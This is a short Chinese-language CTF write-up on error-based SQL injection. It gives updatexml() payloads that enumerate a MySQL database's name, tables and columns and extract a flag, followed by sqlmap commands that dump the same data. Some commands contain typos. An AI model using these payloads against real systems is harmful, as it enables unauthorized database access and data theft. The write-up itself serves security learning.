目录
前言
手工注入
直接selcet
运用函数得到flag
SQLMAP注入
报错注入是在网站提供查询时进行SQL注入
在用户输入了错误的信息时 网站进行报错处理
但是提交的不进行审查 就会让代码随着报错指令进入
我们输入 1
返回查询成功
我们输入1’
发现报错 于是我们可以进行报错注入
我们使用的函数是updatemxl(1,2,3)
MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
特殊符号我们选择 ~ 0x7e
所以我们进行查询库名
1 and updatexml(1,concat(0x7e,database()),3)
发现库名 sqli
然后我们进行爆破表名
1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='sqli')),3)
爆破出了表
我们现在查询字段名
1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='sqli'and table_name='flag')),3)
得到字段 flag
现在得到flag
1 and updatexml(1,concat(0x7e,(select group_concat(flag)from sqli.flag)),3)
得到flag
1 and updatexml(1,concat(0x7e,mid((select group_concat(flag)from sqli.flag),1,16)),3)
输出了flag中前16个字符
1 and updatexml(1,concat(0x7e,mid((select group_concat(flag)from sqli.flag),16,32)),3)
输出了后面的字符
得到flag
到此手工注入结束
sqlmap -u "URL" --tables
爆破出数据库
现在爆破表名
sqlmap -u "URL" -D --table
现在爆破字段
sqlmap -u "URL" -D 库名 -T 表名 -columns
现在获取flag
sqlmap -u "URL" -D 库名 -T 表明 -C 字段名 --dump